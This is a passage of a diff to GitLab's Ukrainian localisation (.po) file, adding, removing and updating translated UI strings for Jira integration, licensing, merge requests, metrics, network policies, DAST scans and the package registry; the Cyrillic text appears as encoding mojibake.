msgstr "Якщо відрізнÑєтьÑÑ Ð²Ñ–Ð´ Веб URL"
msgid "JiraService|Issue List"
-msgstr ""
+msgstr "СпиÑок задач"
msgid "JiraService|Jira API URL"
msgstr "URL-адреÑа Jira API"
msgid "JiraService|Jira Issues"
-msgstr ""
+msgstr "Задачі Jira"
msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
msgstr "Коментарі в Jira будуть ÑтворюватиÑÑ ÐºÐ¾Ð»Ð¸ в коміті буде поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° задачу."
@@ -13732,14 +14112,17 @@ msgid "JiraService|Jira issue tracker"
msgstr "РеєÑÑ‚Ñ€ задач Jira"
msgid "JiraService|Jira project key"
-msgstr ""
+msgstr "Ключ проєкту Jira"
msgid "JiraService|Open Jira"
-msgstr ""
+msgstr "Відкрити Jira"
msgid "JiraService|Password or API token"
msgstr "Пароль або API токен"
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr "Ідентифікатори переходів (Transition ID(s))"
@@ -13755,20 +14138,23 @@ msgstr "ВикориÑтовуйте Ñ–Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача Ð´Ð»Ñ ÑÐ
msgid "JiraService|Username or Email"
msgstr "Ð†Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача або адреÑа електронної пошти"
-msgid "JiraService|View Jira issues in GitLab"
+msgid "JiraService|Using Jira for issue tracking?"
msgstr ""
+msgid "JiraService|View Jira issues in GitLab"
+msgstr "ПереглÑнути задачі Jira в GitLab"
+
msgid "JiraService|Warning: All GitLab users that have access to this GitLab project will be able to view all issues from the Jira project specified below."
-msgstr ""
+msgstr "ПопередженнÑ: вÑÑ– кориÑтувачі GitLab з доÑтупом до цього проєкту GitLab зможуть переглÑдати вÑÑ– задачі з проєкту Jira, вказаному нижче."
msgid "JiraService|Web URL"
msgstr "Веб URL"
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
-msgstr ""
+msgstr "Робота із задачами Jira, не залишаючи GitLab. Додає меню Jira Ð´Ð»Ñ Ð´Ð¾Ñтупу до ÑпиÑку ваших задач Jira та Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду кожної із задач без можливоÑÑ‚Ñ– редагуваннÑ."
msgid "JiraService|e.g. AB"
-msgstr ""
+msgstr "напр. AB"
msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
msgstr "ідентифікатори переходів (transition ids) можуть міÑтити лише цифри, розділені \",\" або \";\""
@@ -14043,8 +14429,8 @@ msgstr "Мітки можуть бути заÑтоÑовані до задач
msgid "Labels can be applied to issues and merge requests."
msgstr "Мітки можуть бути заÑтоÑовані до задач та запитів на злиттÑ."
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>ПеренеÑти мітку</span> %{labelTitle} <span>на рівень групи?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "ПеренеÑти мітку"
@@ -14273,9 +14659,9 @@ msgid "License History"
msgstr ""
msgid "License ID:"
-msgstr ""
+msgstr "ID ліцензії:"
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14386,11 +14772,11 @@ msgstr "Видалити ліцензію"
msgid "LicenseCompliance|Remove license?"
msgstr "Видалити ліцензію?"
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
-msgstr "Ðаразі в цьому проекті немає затверджених або внеÑених в чорний ÑпиÑок ліцензій."
+msgid "LicenseCompliance|There are currently no policies in this project."
+msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
-msgstr "Ðаразі в цьому проекті немає відповідних затверджених або внеÑених в чорний ÑпиÑок ліцензій."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
+msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "Така Ð»Ñ–Ñ†ÐµÐ½Ð·Ñ–Ñ Ð²Ð¶Ðµ Ñ–Ñнує в цьому проекті."
@@ -14416,6 +14802,9 @@ msgstr "ФункціональніÑÑ‚ÑŒ, доÑтупна в ліцензії"
msgid "Licensed to"
msgstr "Ð›Ñ–Ñ†ÐµÐ½Ð·Ñ–Ñ Ð½Ð°Ð»ÐµÐ¶Ð¸Ñ‚ÑŒ"
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "Ліцензії"
@@ -14479,9 +14868,6 @@ msgstr "Придбати ліцензію"
msgid "License|License"
msgstr "ЛіцензіÑ"
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr "Ви можете відновити доÑтуп до фунціональноÑÑ‚Ñ– Gold в будь-Ñкий Ñ‡Ð°Ñ ÑˆÐ»Ñхом переходу на відповідний тарифний план."
@@ -14497,9 +14883,6 @@ msgstr "Ваша ліцензіÑ"
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr "Ваш безкоштовний пробний період GitLab Ultimate завершено %{trial_ends_on}."
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr "Обмежити Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð¾Ð´Ð¸Ð½Ð¸Ñ†ÑŒ відÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñу до годин."
@@ -14555,9 +14938,12 @@ msgstr "СпиÑок ваших репозиторіїв Gitea"
msgid "List available repositories"
msgstr "СпиÑок доÑтупних репозиторіїв"
-msgid "List settings"
+msgid "List of all merge commits"
msgstr ""
+msgid "List settings"
+msgstr "СпиÑок налаштувань"
+
msgid "List the merge requests that must be merged before this one."
msgstr "Перерахуйте запити на об'єднаннÑ, Ñкі необхідно об'єднати перед цим."
@@ -14576,6 +14962,9 @@ msgstr "Попередній переглÑд"
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr "ЗавантаженнÑ"
@@ -14627,8 +15016,8 @@ msgstr "Ð‘Ð»Ð¾ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ðµ знайдено"
msgid "Lock the discussion"
msgstr "Заблокувати обговореннÑ"
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
-msgstr "Заблокувати цю %{issuableDisplayName}? Лише <strong>учаÑники проекту</strong> зможуть коментувати."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
msgid "Lock to current projects"
msgstr "Закріпити за поточними проектами"
@@ -14678,6 +15067,12 @@ msgstr "MD5"
msgid "MERGED"
msgstr "ЗЛИТО"
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14693,6 +15088,9 @@ msgstr "Затверджено"
msgid "MRApprovals|Approvers"
msgstr "Затверджуючі оÑоби"
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr "Показувати лише зміни"
@@ -14777,9 +15175,6 @@ msgstr "Імпортувати файл маніфеÑту"
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr "Ручне завданнÑ"
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "Ðе вдалоÑÑ Ð·Ð±ÐµÑ€ÐµÐ³Ñ‚Ð¸ порÑдок задач"
@@ -14891,9 +15286,6 @@ msgstr "Пропозиції:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr "Цей ÑÐµÑ€Ð²Ñ–Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÑÑ” кориÑтувачам виконувати загальні операції в цьому проекті шлÑхом вводу команд із коÑою риÑкою (/) в Mattermost."
-msgid "Maven Metadata"
-msgstr "Maven-метадані"
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15029,6 +15421,15 @@ msgstr "КориÑтувачі"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15038,9 +15439,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr "УчаÑники із доÑтупом до %{strong_start}%{group_name}%{strong_end}"
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr "УчаÑники, що очікують отримати доÑтуп до %{strong_start}%{group_name}%{strong_end}"
-
msgid "Memory Usage"
msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ Ð¿Ð°Ð¼â€™ÑÑ‚Ñ–"
@@ -15068,15 +15466,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "Запити на злиттÑ"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð±ÑƒÐ»Ð¾ Ñтворено"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15092,6 +15490,9 @@ msgstr "Злити негайно"
msgid "Merge in progress"
msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð² процеÑÑ–"
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr "Параметри злиттÑ"
@@ -15155,6 +15556,27 @@ msgstr "конфлікти"
msgid "MergeConflict|origin//their changes"
msgstr "Зміни між origin та їхнім"
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15287,6 +15709,12 @@ msgstr "Будь лаÑка, виберіть метрику"
msgid "MetricChart|Selected"
msgstr "Вибрано"
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "Метрики"
@@ -15389,6 +15817,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr "Перевірте документацію CI/CD щодо Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð² Ñередовищі"
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15398,9 +15832,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "Створити метрику"
@@ -15434,9 +15865,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr "ДублюваннÑ..."
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15450,9 +15887,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr "Ð”Ð»Ñ Ð³Ñ€ÑƒÐ¿ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾Ð´Ñ–Ð±Ð½Ð¸Ñ… метрик"
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15480,6 +15914,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr "Має бути коректним запитом PromQL."
@@ -15504,6 +15941,9 @@ msgstr "Запит PromQL Ñ” дійÑним"
msgid "Metrics|Prometheus Query Documentation"
msgstr "Ð”Ð¾ÐºÑƒÐ¼ÐµÐ½Ñ‚Ð°Ñ†Ñ–Ñ Ð¿Ð¾ запитам Prometheus"
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15582,6 +16022,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "Ðазва оÑÑ– Y"
@@ -15634,12 +16077,18 @@ msgstr[1] "Етапи"
msgstr[2] "Етапів"
msgstr[3] "Етапів"
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "СпиÑки етапів не доÑтупні з вашою поточною ліцензією"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "У ÑпиÑках етапу відображаютьÑÑ Ð²ÑÑ– задачі Ð´Ð»Ñ Ð²Ð¸Ð±Ñ€Ð°Ð½Ð¾Ð³Ð¾ етапу."
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "Закрито:"
@@ -15805,6 +16254,15 @@ msgstr "Ð’Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ ÑƒÑпішно вимкнено."
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr "Ð’Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ñтупне тільки Ñкщо Ñ†Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ð¾Ð½Ð°Ð»ÑŒÐ½Ñ–ÑÑ‚ÑŒ включена в план Ð´Ð»Ñ Ð²Ð¸Ð±Ñ€Ð°Ð½Ð¾Ð³Ð¾ кориÑтувача або групи."
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr "ВідÑÑƒÑ‚Ð½Ñ ÐºÑ–Ð½Ñ†ÐµÐ²Ð° точка Ð´Ð»Ñ Ð¿Ñ–Ð´Ð¿Ð¸Ñів комітів!"
@@ -15850,6 +16308,9 @@ msgstr "ВідÑлідковуйте Ñвої помилки за допомог
msgid "Monitoring"
msgstr "Моніторинг"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "МіÑÑці"
@@ -15992,16 +16453,16 @@ msgid "Name:"
msgstr "Ім’Ñ:"
msgid "Namespace"
-msgstr ""
+msgstr "ПроÑÑ‚Ñ–Ñ€ імен"
msgid "Namespace is empty"
msgstr "ПроÑÑ‚Ñ–Ñ€ імен порожній"
msgid "Namespace:"
-msgstr ""
+msgstr "ПроÑÑ‚Ñ–Ñ€ імен:"
msgid "Namespaces"
-msgstr ""
+msgstr "ПроÑтори імен"
msgid "Namespaces to index"
msgstr "ПроÑтори імен Ð´Ð»Ñ Ñ–Ð½Ð´ÐµÐºÑуваннÑ"
@@ -16039,12 +16500,45 @@ msgstr "Мережа"
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16054,6 +16548,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16066,6 +16563,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16084,12 +16584,18 @@ msgstr "Ðазва"
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16114,9 +16620,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16129,9 +16641,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "Ðіколи"
@@ -16197,7 +16754,7 @@ msgid "New Project"
msgstr "Ðовий Проєкт"
msgid "New Requirement"
-msgstr ""
+msgstr "Ðова вимога"
msgid "New Snippet"
msgstr "Ðовий Ñніпет"
@@ -16526,12 +17083,18 @@ msgstr "Ðемає репозиторію"
msgid "No required pipeline"
msgstr "Ðемає необхідного конвеєру"
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr "Runner'ів не знайдено"
msgid "No schedules"
msgstr "Ðемає розкладів"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16619,18 +17182,12 @@ msgstr "Ще не готово. Спробуйте знову пізніше."
msgid "Not started"
msgstr "Ðе розпочато"
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr "Примітка"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "Зауважте, що це Ð·Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð±ÑƒÐ»Ð¾ надіÑлано на %{mail_to_invite_email}, але ви увійшли Ñк %{link_to_current_user} з електронною поштою %{mail_to_current_user}."
@@ -16778,9 +17335,6 @@ msgstr "лиÑтопад"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr "Тепер ви можете отримати доÑтуп до навігаційних вкладок запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ð³Ð¾Ñ€Ñ–, де Ñ—Ñ… легше знайти."
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16820,9 +17374,6 @@ msgstr ""
msgid "Number of files touched"
msgstr "КількіÑÑ‚ÑŒ змінених файлів"
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "OK"
@@ -16842,7 +17393,7 @@ msgid "OfSearchInADropdown|Filter"
msgstr "Фільтр"
msgid "Off"
-msgstr ""
+msgstr "Вимк."
msgid "Oh no!"
msgstr "О ні!"
@@ -16865,21 +17416,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16889,25 +17446,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16968,9 +17531,6 @@ msgstr "Тільки учаÑники проекту"
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr "Тільки Ðдміни"
-
msgid "Only admins can delete project"
msgstr "Тільки адмініÑтратори можуть видалÑти проект"
@@ -16989,6 +17549,9 @@ msgstr "Тільки учаÑники проекту можуть залишат
msgid "Only project members will be imported. Group members will be skipped."
msgstr "Лише учаÑника проекту будуть імпортовані. УчаÑники групи будуть пропущені."
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17004,9 +17567,15 @@ msgstr "Відкриті"
msgid "Open Selection"
msgstr "Відкрити виділеннÑ"
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr "Випадаючий ÑпиÑок типу коментарів"
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr "Відкрити помилки"
@@ -17127,18 +17696,12 @@ msgstr ""
msgid "Outbound requests"
msgstr "Вихідні запити"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17158,7 +17721,7 @@ msgid "Owned by me"
msgstr "Ті, що належать мені"
msgid "Owned by:"
-msgstr ""
+msgstr "ВлаÑник:"
msgid "Owner"
msgstr "ВлаÑник"
@@ -17172,9 +17735,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr "Пакет уÑпішно видалено"
-msgid "Package information"
-msgstr "Ð†Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ пакет"
-
msgid "Package recipe already exists"
msgstr ""
@@ -17259,6 +17819,12 @@ msgstr "Скопіювати команду npm"
msgid "PackageRegistry|Copy npm setup command"
msgstr "Скопіювати команду Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ npm"
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr "Скопіювати команду yarn"
@@ -17274,6 +17840,9 @@ msgstr "Видалити пакет"
msgid "PackageRegistry|Filter by name"
msgstr "Фільтр за іменем"
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "Щоб дізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про реєÑÑ‚Ñ€ Conan, %{linkStart}переглÑньте документацію%{linkEnd}."
@@ -17292,9 +17861,6 @@ msgstr "Якщо ви ще не зробили цього, вам потрібн
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr "Якщо ви ще не зробили цього, вам потрібно буде додати розміщене нижче в Ñвій файл %{codeStart}pom.xml%{codeEnd}."
-msgid "PackageRegistry|Installation"
-msgstr "Ð’ÑтановленнÑ"
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17331,27 +17897,18 @@ msgstr "Команда NNGet"
msgid "PackageRegistry|Pip Command"
msgstr "Команда pip"
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr "PyPi"
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€ÐµÑ”Ñтру"
-
msgid "PackageRegistry|Remove package"
msgstr "Видалити пакет"
@@ -17362,16 +17919,16 @@ msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
